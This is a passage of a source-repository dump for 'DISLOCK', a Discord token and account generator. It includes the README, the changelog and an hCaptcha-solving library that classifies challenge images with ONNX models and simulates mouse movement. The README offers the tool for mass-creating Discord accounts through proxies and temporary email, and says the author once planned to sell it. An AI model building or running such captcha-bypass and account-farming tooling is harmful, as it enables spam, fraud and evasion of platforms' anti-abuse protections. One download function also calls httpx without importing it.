66 | `You maight want to regulary update objects.yaml by copy and pasting https://github.com/QIN2DIM/hcaptcha-challenger/blob/main/src/objects.yaml`
67 |
68 | However, i edited out some code/files, to make DISLOCK lightweighter and to use less imports.
69 |
70 | Also, i coded a MouseMovement Generator, to get more realistic MotionData. It uses Interpolation between CaptchaImage-Coordinates to do so.
71 |
72 | My Playwright hCaptchaSolver can be easily plugged by replicating [check_captcha()](https://github.com/Vinyzu/DiscordGenerator/blob/main/main.py#L491) in your project.
73 |
74 | ## Installation
75 |
76 | ### Installing DISLOCK with Python
77 |
78 | ```bash
79 | git clone https://github.com/Vinyzu/DISLOCK DISLOCK
80 | cd DISLOCK
81 | pip install -r requirements.txt
82 | playwright install
83 | python main.py
84 | ```
85 |
86 | ### Further Requirements
87 |
88 | - Windows
89 |
90 | - [Git](https://git-scm.com/downloads) (To install DISLOCK)
91 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK)
92 |
93 | ## Using
94 |
95 | Type | Recommended Usage |
96 | :------- | :------------------------- |
97 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way |
98 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens |
99 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com |
100 |
101 | ##### Usages will be updated when Discord fixxes Modes
102 |
103 | ## Contributing
104 |
105 | Contributions are always welcome!
106 |
107 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started.
108 |
109 |
110 | ## To the Skids
111 |
112 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d.
113 |
114 | ## Copyright and License
115 | © [Vinyzu](https://github.com/Vinyzu/)
116 |
117 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/)
118 |
119 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty)
120 |
121 | ## Authors
122 |
123 | - [@Vinyzu](https://github.com/Vinyzu)
124 |
125 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.`
126 |
127 |
128 |
129 | [](https://discord.gg/rpd4gzrqGN)
130 | [](https://discordapp.com/users/935224495126487150)
131 | [](https://ko-fi.com/vinyzu)
132 |
133 |
134 | ## Thanks to
135 |
136 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.)
137 |
138 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing)
139 |
140 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies)
141 |
142 |
143 | 
144 | 
145 | 
146 | 
147 |
--------------------------------------------------------------------------------
/Version 1/changelog.md:
--------------------------------------------------------------------------------
1 | # Changelog
2 |
3 | Every new change will be logged
4 |
5 | ## v1.0.6
6 | ```
7 | + Updated AI to support newest Tasks
8 | + Updated Avatar Function (should work now ig lol)
9 | + New IP-API (hopefully will fix ProxyIssues)
10 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable)
11 |
12 | + Updated InviteLink in ReadMe
13 |
14 | ```
15 |
16 | ## v1.0.5
17 | ```
18 | + Fixxed To Low Password Security
19 | + Fixxed self.person error
20 | + Changed IP Provider (Hopefully Fixxes Proxy Errors)
21 | + Rewrote ProxyCheck Invalid Error
22 |
23 | ```
24 |
25 | ## v1.0.4
26 | ```
27 | + Tokens will now be saved even when the gen crashes
28 | + OutputFormat can now be set
29 | + Passwords now dont have ":" in them anymore (Messed up output format)
30 | + Delete verify=False in requests (caused warnings)
31 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled.
32 |
33 | ```
34 |
35 | ## v1.0.3
36 | ```
37 | + Raised Timeouts to allow slow proxies to work properly
38 | + Changed usage of TempmailAPI from package to local file
39 | + Updated AI to check images three times for any valid images
40 | + Replaced Httpx with Requests
41 |
42 | ```
43 |
44 | ## v1.0.2
45 | ```
46 | + Updated Model Downloader (httpx doesnt work)
47 | --> Now, Models dont have to be given in the repo
48 | + Updated Proxy Class (Splitter) and general proxy-object handling
49 |
50 | ```
51 |
52 | ## v1.0.1
53 | ```
54 | + Updated various Proxy Handlers
55 | + Updated MailVerifier to wait until the new token is received
56 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point
57 | + Updated DISCUM Client to reduce code amount and allow proxies to work
58 |
59 | ```
60 |
61 | ## v1.0
62 | ```
63 | + First Commit
64 | ```
--------------------------------------------------------------------------------
/Version 1/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "EMAIL STUFF": {
3 | "REAL EMAIL ADDRESS": "exampleuser@gmail.com",
4 | "CUSTOM DOMAINS": ["example.com"],
5 |
6 | "IMAP HOST": "imap.gmail.com",
7 | "IMAP PORT": "993",
8 | "IMAP USERNAME": "exampleuser",
9 | "IMAP APP PASSWORD": "example-app-password"
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/Version 1/contributing.md:
--------------------------------------------------------------------------------
1 | Contributing
2 | ============
3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request.
4 |
5 | ### How to make a clean pull request
6 |
7 | Look for a project's contribution instructions. If there are any, follow them.
8 |
9 | - Create a personal fork of the project on Github.
10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`.
11 | - Add the original repository as a remote called `upstream`.
12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository.
13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`.
14 | - Implement/fix your feature, comment your code.
15 | - Follow the code style of the project, including indentation.
16 | - If the project has tests run them!
17 | - Write or adapt tests as needed.
18 | - Add or change the documentation as needed.
19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary.
20 | - Push your branch to your fork on Github, the remote `origin`.
21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`!
22 | - …
23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically.
24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete
25 | your extra branch(es).
26 |
27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code.
28 |
29 | `Source: https://github.com/MarcDiethelm/contributing`
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/2/15 17:43
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | from .core import ArmorCaptcha
7 | from .settings import DIR_CHALLENGE, DIR_MODEL, PATH_OBJECTS_YAML
8 | from .solutions.resnet import PluggableONNXModels
9 | from .solutions.sk_recognition import SKRecognition
10 | from .solutions.yolo import YOLO
11 |
12 | __all__ = ["SKRecognition", "YOLO", "ArmorCaptcha", "PluggableONNXModels",
13 | "DIR_CHALLENGE", "DIR_MODEL", "PATH_OBJECTS_YAML"]
14 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/core.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 |
3 | from .exceptions import ChallengeLangException
4 | from .solutions import resnet, sk_recognition, yolo
5 |
6 |
7 | class ArmorCaptcha:
8 | """hCAPTCHA challenge drive control"""
9 |
10 | label_alias = {
11 | "zh": {
12 | "自行车": "bicycle",
13 | "火车": "train",
14 | "卡车": "truck",
15 | "公交车": "bus",
16 | "巴士": "bus",
17 | "飞机": "airplane",
18 | "一条船": "boat",
19 | "船": "boat",
20 | "摩托车": "motorcycle",
21 | "垂直河流": "vertical river",
22 | "天空中向左飞行的飞机": "airplane in the sky flying left",
23 | "请选择天空中所有向右飞行的飞机": "airplanes in the sky that are flying to the right",
24 | "汽车": "car",
25 | "大象": "elephant",
26 | "鸟": "bird",
27 | "狗": "dog",
28 | "犬科动物": "dog",
29 | "一匹马": "horse",
30 | "长颈鹿": "giraffe",
31 | },
32 | "en": {
33 | "airplane": "airplane",
34 | "motorbus": "bus",
35 | "bus": "bus",
36 | "truck": "truck",
37 | "motorcycle": "motorcycle",
38 | "boat": "boat",
39 | "bicycle": "bicycle",
40 | "train": "train",
41 | "vertical river": "vertical river",
42 | "airplane in the sky flying left": "airplane in the sky flying left",
43 | "Please select all airplanes in the sky that are flying to the right": "airplanes in the sky that are flying to the right",
44 | "car": "car",
45 | "elephant": "elephant",
46 | "bird": "bird",
47 | "dog": "dog",
48 | "canine": "dog",
49 | "horse": "horse",
50 | "giraffe": "giraffe",
51 | },
52 | }
53 |
54 | BAD_CODE = {
55 | "а": "a",
56 | "е": "e",
57 | "e": "e",
58 | "i": "i",
59 | "і": "i",
60 | "ο": "o",
61 | "с": "c",
62 | "ԁ": "d",
63 | "ѕ": "s",
64 | }
65 |
66 | HOOK_CHALLENGE = "//iframe[contains(@title,'content')]"
67 |
68 | # Challenge Passed by following the expected
69 | CHALLENGE_SUCCESS = "success"
70 | # Continue the challenge
71 | CHALLENGE_CONTINUE = "continue"
72 | # Failure of the challenge as expected
73 | CHALLENGE_CRASH = "crash"
74 | # Your proxy IP may have been flagged
75 | CHALLENGE_RETRY = "retry"
76 | # Skip the specified label as expected
77 | CHALLENGE_REFRESH = "refresh"
78 | # (New Challenge) Types of challenges not yet scheduled
79 | CHALLENGE_BACKCALL = "backcall"
80 |
81 | def __init__(
82 | self,
83 | dir_workspace: str = None,
84 | lang: Optional[str] = "zh",
85 | dir_model: str = None,
86 | onnx_prefix: str = None,
87 | screenshot: Optional[bool] = False,
88 | debug=False,
89 | path_objects_yaml: Optional[str] = None,
90 | path_rainbow_yaml: Optional[str] = None,
91 | ):
92 | if not isinstance(lang, str) or not self.label_alias.get(lang):
93 | raise ChallengeLangException(
94 | f"Challenge language [{lang}] not yet supported."
95 | f" -lang={list(self.label_alias.keys())}"
96 | )
97 |
98 | self.action_name = "ArmorCaptcha"
99 | self.debug = debug
100 | self.dir_model = dir_model
101 | self.onnx_prefix = onnx_prefix
102 | self.screenshot = screenshot
103 | self.path_objects_yaml = path_objects_yaml
104 | self.path_rainbow_yaml = path_rainbow_yaml
105 |
106 | # 存储挑战图片的目录
107 | self.runtime_workspace = ""
108 | # 挑战截图存储路径
109 | self.path_screenshot = ""
110 | # 博大精深!
111 | self.lang = lang
112 | self.label_alias: dict = self.label_alias[lang]
113 |
114 | # Store the `element locator` of challenge images {挑战图片1: locator1, ...}
115 | self.alias2locator = {}
116 | # Store the `download link` of the challenge image {挑战图片1: url1, ...}
117 | self.alias2url = {}
118 | # Store the `directory` of challenge image {挑战图片1: "/images/挑战图片1.png", ...}
119 | self.alias2path = {}
120 | # 图像标签
121 | self.label = ""
122 | self.prompt = ""
123 | # 运行缓存
124 | self.dir_workspace = dir_workspace if dir_workspace else "."
125 |
126 | self.threat = 0
127 |
128 | # Automatic registration
129 | self.pom_handler = resnet.PluggableONNXModels(self.path_objects_yaml)
130 | self.label_alias.update(self.pom_handler.label_alias[lang])
131 | self.pluggable_onnx_models = self.pom_handler.overload(
132 | self.dir_model, path_rainbow=self.path_rainbow_yaml
133 | )
134 | self.yolo_model = yolo.YOLO(self.dir_model, self.onnx_prefix)
135 |
136 | def switch_solution(self):
137 | """Optimizing solutions based on different challenge labels"""
138 | sk_solution = {
139 | "vertical river": sk_recognition.VerticalRiverRecognition,
140 | "airplane in the sky flying left": sk_recognition.LeftPlaneRecognition,
141 | "airplanes in the sky that are flying to the right": sk_recognition.RightPlaneRecognition,
142 | }
143 |
144 | label_alias = self.label_alias.get(self.label)
145 |
146 | # Select ResNet ONNX model
147 | if self.pluggable_onnx_models.get(label_alias):
148 | return self.pluggable_onnx_models[label_alias]
149 | # Select SK-Image method
150 | if sk_solution.get(label_alias):
151 | return sk_solution[label_alias](self.path_rainbow_yaml)
152 | # Select YOLO ONNX model
153 | return self.yolo_model
154 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/exceptions.py:
--------------------------------------------------------------------------------
1 | from typing import Optional, Sequence
2 |
3 |
4 | class ArmorException(Exception):
5 | """Armor module basic exception"""
6 |
7 | def __init__(self, msg: Optional[str] = None, stacktrace: Optional[Sequence[str]] = None):
8 | self.msg = msg
9 | self.stacktrace = stacktrace
10 | super().__init__()
11 |
12 | def __str__(self) -> str:
13 | exception_msg = f"Message: {self.msg}\n"
14 | if self.stacktrace:
15 | stacktrace = "\n".join(self.stacktrace)
16 | exception_msg += f"Stacktrace:\n{stacktrace}"
17 | return exception_msg
18 |
19 |
20 | class ChallengeException(ArmorException):
21 | """hCAPTCHA Challenge basic exceptions"""
22 |
23 |
24 | class ChallengeLangException(ChallengeException):
25 | """指定了不兼容的挑战语言"""
26 |
27 |
28 | class ChallengePassed(ChallengeException):
29 | """挑战未弹出"""
30 |
31 |
32 | class LoadImageTimeout(ChallengeException):
33 | """加载挑战图片超时"""
34 |
35 |
36 | class ChallengeTimeout(ChallengeException):
37 | """人机挑战超时 CPU能力太弱无法在规定时间内完成挑战"""
38 |
39 |
40 | class LabelNotFoundException(ChallengeException):
41 | """获取到空的图像标签名"""
42 |
43 |
44 | class AssertTimeout(ChallengeTimeout):
45 | """断言超时"""
46 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/objects.yaml:
--------------------------------------------------------------------------------
1 | # Pluggable ONNX model
2 | # onnx_prefix:
3 | # zh: ["zh_prompt_label"]
4 | # en: ["en_prompt_label"]
5 | label_alias:
6 | seaplane:
7 | zh: [ "水上飞机" ]
8 | en: [ "seaplane" ]
9 | bedroom:
10 | zh: [ "卧室" ]
11 | en: [ "bedroom" ]
12 | bridge:
13 | zh: [ "桥梁" ]
14 | en: [ "bridge" ]
15 | domestic_cat:
16 | zh: [ "家猫", "猫" ]
17 | en: [ "domestic cat", "cat" ]
18 | living_room:
19 | zh: [ "客厅" ]
20 | en: [ "living room" ]
21 | conference_room:
22 | zh: [ "会议室" ]
23 | en: [ "conference room" ]
24 | elephant_made_of_clouds:
25 | zh: [ "由云制成的大象" ]
26 | en: [ "elephant made of clouds" ]
27 | parrot:
28 | zh: [ "鹦鹉" ]
29 | en: [ "parrot" ]
30 |
31 | lion:
32 | zh: [ "狮子" ]
33 | en: [ "lion" ]
34 | lion_with_mane_on_its_neck:
35 | zh: [ "一只脖子上有鬃毛的狮子", "雄狮" ]
36 | en: [ "lion with mane on its neck", "male lion" ]
37 | lion_with_open_eyes:
38 | zh: [ "睁开眼睛的狮子" ]
39 | en: [ "lion with open eyes" ]
40 | lion_with_closed_eyes:
41 | zh: [ "一只闭着眼睛的狮子" ]
42 | en: [ "lion with closed eyes" ]
43 | lion_with_an_open_mouth:
44 | zh: [ "张开嘴的狮子" ]
45 | en: [ "lion with an open mouth" ]
46 | lion_with_a_closed_mouth:
47 | zh: [ "一只闭着嘴的狮子" ]
48 | en: [ "lion with a closed mouth" ]
49 | female_lion:
50 | zh: [ "雌狮" ]
51 | en: [ "female lion" ]
52 |
53 | horse_made_of_clouds:
54 | zh: [ "一匹由云制成的马" ]
55 | en: [ "horse made of clouds" ]
56 | horse_facing_to_the_left:
57 | zh: [ "朝左马" ]
58 | en: [ "horse facing to the left" ]
59 | horse_facing_to_the_right:
60 | zh: [ "面向右侧的马" ]
61 | en: [ "horse facing to the right" ]
62 | horse_with_white_legs:
63 | zh: [ "白腿马" ]
64 | en: [ "horse with white legs" ]
65 | horse_walking_or_running:
66 | zh: [ "马在行走或奔跑","马步行或奔跑" ]
67 | en: [ "horse walking or running" ]
68 |
69 | smiling_dog:
70 | zh: [ "微笑狗" ]
71 | en: [ "smiling dog" ]
72 | dog_with_a_collar_on_its_neck:
73 | zh: [ "一条脖子上有项圈的狗" ]
74 | en: [ "dog with a collar on its neck" ]
75 |
76 | kitten:
77 | zh: [ "小猫", "一只小猫" ]
78 | en: [ "kitten", "baby cat" ]
79 | adult_cat:
80 | zh: [ "成年猫" ]
81 | en: [ "adult cat" ]
82 | cat_with_long_hair:
83 | zh: [ "长毛猫", "厚毛猫" ]
84 | en: [ "cat with long hair", "cat with thick fur" ]
85 | cat_with_short_hair:
86 | zh: [ "短毛猫" ]
87 | en: [ "cat with short hair" ]
88 |
89 | bird_flying:
90 | zh: [ "一只飞翔的鸟" ]
91 | en: [ "bird flying" ]
92 | bird_on_a_branch:
93 | zh: [ "树枝上的鸟" ]
94 | en: [ "bird on a branch" ]
95 |
96 | broken_glass_bottle:
97 | zh: [ "破碎玻璃瓶" ]
98 | en: [ "broken glass bottle" ]
99 | whole_glass_bottle:
100 | zh: [ "整个玻璃瓶" ]
101 | en: [ "whole glass bottle" ]
102 | porcelain_teacup:
103 | zh: [ "类似瓷器设" ]
104 | en: [ "teacup with similar porcelain design pattern" ]
105 |
106 | fish_jumping_over_the_water:
107 | zh: [ "鱼跃过水面" ]
108 | en: [ "fish jumping over the water" ]
109 | fish_underwater:
110 | zh: [ "水下鱼" ]
111 | en: [ "fish underwater" ]
112 |
113 | dog_shaped_cookie:
114 | zh: [ "狗形饼干" ]
115 | en: [ "dog-shaped cookie" ]
116 | cat_shaped_cookie:
117 | zh: [ "猫形饼干" ]
118 | en: [ "cat-shaped cookie" ]
119 |
120 | flower_in_a_vase:
121 | zh: [ "花瓶中的花" ]
122 | en: [ "flower in a vase" ]
123 | plant_hanging_from_the_ceiling:
124 | zh: [ "悬挂在天花板上的植物" ]
125 | en: [ "plant hanging from the ceiling" ]
126 | plant_on_the_table:
127 | zh: [ "植物在桌上" ]
128 | en: [ "plant on the table" ]
129 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/settings.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/2/15 17:42
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import os
7 | from os.path import dirname, join
8 |
9 | HCAPTCHA_DEMO_API = "https://accounts.hcaptcha.com/demo?sitekey={}"
10 | _SITE_KEYS = {
11 | "epic": "91e4137f-95af-4bc9-97af-cdcedce21c8c",
12 | "hcaptcha": "00000000-0000-0000-0000-000000000000",
13 | "discord": "f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34",
14 | "oracle": "d857545c-9806-4f9e-8e9d-327f565aeb46",
15 | "publisher": "c86d730b-300a-444c-a8c5-5312e7a93628",
16 | }
17 |
18 | # https://www.wappalyzer.com/technologies/security/hcaptcha/
19 | HCAPTCHA_DEMO_SITES = [
20 | # [√] label: Tags follow point-in-time changes
21 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["publisher"]),
22 | # [√] label: `vertical river`
23 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["oracle"]),
24 | # [x] label: `airplane in the sky flying left`
25 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["discord"]),
26 | # [√] label: hcaptcha-challenger
27 | HCAPTCHA_DEMO_API.format(_SITE_KEYS["hcaptcha"]),
28 | ]
29 |
30 | # ---------------------------------------------------
31 | # [√]Lock the project directory
32 | # ---------------------------------------------------
33 | # Source root directory
34 | PROJECT_ROOT = dirname(dirname(__file__))
35 |
36 | # File database directory
37 | PROJECT_DATABASE = join(PROJECT_ROOT, "database")
38 |
39 | # The storage directory of the YOLO object detection model
40 | DIR_MODEL = join(PROJECT_ROOT, "model")
41 |
42 | PATH_RAINBOW_YAML = join(DIR_MODEL, "rainbow.yaml")
43 |
44 | # Run cache directory
45 | DIR_TEMP_CACHE = join(PROJECT_DATABASE, "temp_cache")
46 |
47 | # Directory for challenge images
48 | DIR_CHALLENGE = join(DIR_TEMP_CACHE, "_challenge")
49 |
50 | # Service log directory
51 | DIR_LOG = join(PROJECT_DATABASE, "logs")
52 |
53 | # Settings of pluggable ONNX models
54 | HCAPTCHA_ROOT = dirname(__file__)
55 |
56 | PATH_OBJECTS_YAML = join(HCAPTCHA_ROOT, "objects.yaml")
57 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/solutions/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/3/2 0:52
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/solutions/kernel.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/4/30 22:34
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | import hashlib
7 | import os
8 | from typing import Optional
9 |
10 | import requests
11 | import yaml
12 |
13 |
14 | class ChallengeStyle:
15 | WATERMARK = 100
16 | GENERAL = 128
17 | GAN = 144
18 |
19 |
20 | class Solutions:
21 | RAINBOW_TABLE = {}
22 |
23 | def __init__(self, name: str, path_rainbow: str = None):
24 | self.path_rainbow = "rainbow.yaml" if path_rainbow is None else path_rainbow
25 | self.flag = name
26 | self.rainbow_table = self.build_rainbow(path_rainbow=self.path_rainbow)
27 |
28 | @staticmethod
29 | def sync_rainbow(path_rainbow: str, convert: Optional[bool] = False):
30 | """
31 | 同步强化彩虹表
32 | :param path_rainbow:
33 | :param convert: 强制同步
34 | :return:
35 | """
36 | rainbow_obj = {
37 | "name": "rainbow_table",
38 | "path": path_rainbow,
39 | "src": "https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/rainbow.yaml",
40 | }
41 |
42 | if convert or not os.path.exists(rainbow_obj["path"]):
43 | print(
44 | f"Downloading {rainbow_obj['name']} from {rainbow_obj['src']}")
45 | with httpx.stream(method="GET", url=rainbow_obj["src"]) as response, open(
46 | rainbow_obj["path"], "wb"
47 | ) as file:
48 | for chunk in response.iter_content(chunk_size=1024):
49 | if chunk:
50 | file.write(chunk)
51 |
52 | @staticmethod
53 | def build_rainbow(path_rainbow: str) -> Optional[dict]:
54 | """
55 |
56 | :param path_rainbow:
57 | :return:
58 | """
59 | if Solutions.RAINBOW_TABLE:
60 | return Solutions.RAINBOW_TABLE
61 |
62 | if os.path.exists(path_rainbow):
63 | with open(path_rainbow, "r", encoding="utf8") as file:
64 | stream = yaml.safe_load(file)
65 | Solutions.RAINBOW_TABLE = stream if isinstance(
66 | stream, dict) else {}
67 |
68 | return Solutions.RAINBOW_TABLE
69 |
70 | def match_rainbow(self, img_stream: bytes, rainbow_key: str) -> Optional[bool]:
71 | """
72 |
73 | :param img_stream:
74 | :param rainbow_key:
75 | :return:
76 | """
77 | try:
78 | if self.rainbow_table[rainbow_key]["yes"].get(hashlib.md5(img_stream).hexdigest()):
79 | return True
80 | if self.rainbow_table[rainbow_key]["bad"].get(hashlib.md5(img_stream).hexdigest()):
81 | return False
82 | except KeyError:
83 | pass
84 | return None
85 |
86 | @staticmethod
87 | def download_model_(
88 | dir_model, path_model, model_src, model_name, upgrade: Optional[bool] = None
89 | ):
90 | """Download the de-stylized binary classification model"""
91 | upgrade = bool(upgrade)
92 |
93 | os.makedirs(dir_model, exist_ok=True)
94 |
95 | if os.path.exists(path_model) and not upgrade:
96 | return
97 |
98 | if not model_src.lower().startswith("http"):
99 | raise ValueError from None
100 |
101 | print(f"Downloading {model_name} from {model_src}")
102 | with requests.get(model_src, stream=True) as response, open(path_model, "wb") as file:
103 | for chunk in response.iter_content(chunk_size=1024):
104 | if chunk:
105 | file.write(chunk)
106 |
107 | def solution(self, img_stream, **kwargs) -> bool:
108 | """Implementation process of solution"""
109 | raise NotImplementedError
110 |
111 | def solution_dev(self, src_dir: str, **kwargs):
112 | if not os.path.exists(src_dir):
113 | return
114 | _suffix = ".png"
115 | for _prefix, _, files in os.walk(src_dir):
116 | for filename in files:
117 | if not filename.endswith(_suffix):
118 | continue
119 | path_img = os.path.join(_prefix, filename)
120 | with open(path_img, "rb") as file:
121 | yield path_img, self.solution(file.read(), **kwargs)
122 |
--------------------------------------------------------------------------------
/Version 1/hcaptcha_challenger/solutions/resnet.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/4/30 17:00
3 | # Author : Bingjie Yan
4 | # Github : https://github.com/beiyuouo
5 | # Description:
6 | import os
7 | import warnings
8 | from os import PathLike
9 | from typing import List, Callable, Union, Optional, Dict
10 |
11 | import cv2
12 | import numpy as np
13 | import yaml
14 | from scipy.cluster.vq import kmeans2
15 |
16 | from .kernel import ChallengeStyle
17 | from .kernel import Solutions
18 |
19 | warnings.filterwarnings("ignore", category=UserWarning)
20 |
21 |
22 | class ResNetFactory(Solutions):
23 | def __init__(self, _onnx_prefix, _name, _dir_model: str, path_rainbow=None):
24 | """
25 |
26 | :param _name: 日志打印显示的标记
27 | :param _dir_model: 模型所在的本地目录
28 | :param _onnx_prefix: 模型文件名,远程仓库文件和本地的一致。也用于拼接下载链接,因此该参数不允许用户自定义,
29 | 仅支持在范围内选择。
30 | :param path_rainbow: 彩虹表本地路径,可选。
31 | """
32 | super().__init__(_name, path_rainbow=path_rainbow)
33 | self.dir_model = _dir_model
34 | self.onnx_model = {
35 | "name": _name,
36 | "path": os.path.join(_dir_model, f"{_onnx_prefix}.onnx"),
37 | "src": f"https://github.com/QIN2DIM/hcaptcha-challenger/releases/download/model/{_onnx_prefix}.onnx",
38 | }
39 |
40 | self.download_model()
41 | self.net = cv2.dnn.readNetFromONNX(self.onnx_model["path"])
42 |
43 | def download_model(self, upgrade: Optional[bool] = None):
44 | """Download the ResNet ONNX classification model"""
45 | Solutions.download_model_(
46 | dir_model=self.dir_model,
47 | path_model=self.onnx_model["path"],
48 | model_src=self.onnx_model["src"],
49 | model_name=self.onnx_model["name"],
50 | upgrade=upgrade,
51 | )
52 |
53 | def classifier(
54 | self, img_stream, rainbow_key, feature_filters: Union[Callable, List[Callable]] = None
55 | ):
56 | match_output = self.match_rainbow(img_stream, rainbow_key)
57 | if match_output is not None:
58 | return match_output
59 |
60 | img_arr = np.frombuffer(img_stream, np.uint8)
61 | img = cv2.imdecode(img_arr, flags=1)
62 |
63 | # fixme: dup-code
64 | if img.shape[0] == ChallengeStyle.WATERMARK:
65 | img = cv2.fastNlMeansDenoisingColored(img, None, 10, 10, 7, 21)
66 |
67 | if feature_filters is not None:
68 | if not isinstance(feature_filters, list):
69 | feature_filters = [feature_filters]
70 | for tnt in feature_filters:
71 | if not tnt(img):
72 | return False
73 |
74 | img = cv2.resize(img, (64, 64))
75 | blob = cv2.dnn.blobFromImage(img, 1 / 255.0, (64, 64), (0, 0, 0), swapRB=True, crop=False)
76 |
77 | self.net.setInput(blob)
78 | out = self.net.forward()
79 |
80 | if not np.argmax(out, axis=1)[0]:
81 | return True
82 | return False
83 |
84 | def solution(self, img_stream, **kwargs) -> bool:
85 | """Implementation process of solution"""
86 |
87 |
88 | class FingersOfTheGolderOrder(ResNetFactory):
89 | """Res Net model factory, used to produce abstract model call interface."""
90 |
91 | def __init__(self, onnx_prefix: str, dir_model: str, path_rainbow=None):
92 | self.rainbow_key = onnx_prefix
93 | super().__init__(onnx_prefix, f"{onnx_prefix}(ResNet)_model", dir_model, path_rainbow)
94 |
95 | def solution(self, img_stream, **kwargs) -> bool:
96 | return self.classifier(img_stream, self.rainbow_key, feature_filters=None)
97 |
98 |
99 | class ElephantsDrawnWithLeaves(ResNetFactory):
100 | """Handle challenge 「Please select all the elephants drawn with leaves」"""
101 |
102 | def __init__(self, dir_model, path_rainbow=None):
103 | _onnx_prefix = "elephants_drawn_with_leaves"
104 | self.rainbow_key = _onnx_prefix.replace("_", " ")
105 | super().__init__(
106 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow
107 | )
108 |
109 | @staticmethod
110 | def is_drawn_with_leaves(img) -> bool:
111 | img = np.array(img)
112 |
113 | img = img.reshape((img.shape[0] * img.shape[1], img.shape[2])).astype(np.float64)
114 | centroid, label = kmeans2(img, k=3)
115 |
116 | green_centroid = np.array([0.0, 255.0, 0.0])
117 |
118 | min_dis = np.inf
119 | for i, _ in enumerate(centroid):
120 | min_dis = min(min_dis, np.linalg.norm(centroid[i] - green_centroid))
121 |
122 | if min_dis < 200:
123 | return True
124 | return False
125 |
126 | def solution(self, img_stream, **kwargs) -> bool:
127 | return self.classifier(
128 | img_stream, self.rainbow_key, feature_filters=self.is_drawn_with_leaves
129 | )
130 |
131 |
132 | class HorsesDrawnWithFlowers(ResNetFactory):
133 | """Handle challenge「Please select all the horses drawn with flowers」"""
134 |
135 | def __init__(self, dir_model, path_rainbow=None):
136 | _onnx_prefix = "horses_drawn_with_flowers"
137 | self.rainbow_key = _onnx_prefix.replace("_", " ")
138 | super().__init__(
139 | _onnx_prefix, f"{_onnx_prefix}(de-stylized)_model", dir_model, path_rainbow
140 | )
141 |
142 | def solution(self, img_stream, **kwargs) -> bool:
143 | """Implementation process of solution"""
144 |
145 |
146 | class PluggableONNXModels:
147 | """
148 | Manage pluggable models. Provides high-level interfaces
149 | such as model download, model cache, and model scheduling.
150 | """
151 |
152 | def __init__(self, path_objects_yaml: str):
153 | self.fingers = []
154 | self.label_alias = {i: {} for i in ["zh", "en"]}
155 | self._register(path_objects_yaml)
156 |
157 | def _register(self, path_objects_yaml):
158 | """
159 | Register pluggable ONNX models from `objects.yaml`.
160 |
161 | :type path_objects_yaml: str
162 | :rtype: List[str]
163 | :rtype: None
164 | """
165 | if not path_objects_yaml or not os.path.exists(path_objects_yaml):
166 | return
167 |
168 | with open(path_objects_yaml, "r", encoding="utf8") as file:
169 | data: Dict[str, dict] = yaml.safe_load(file.read())
170 |
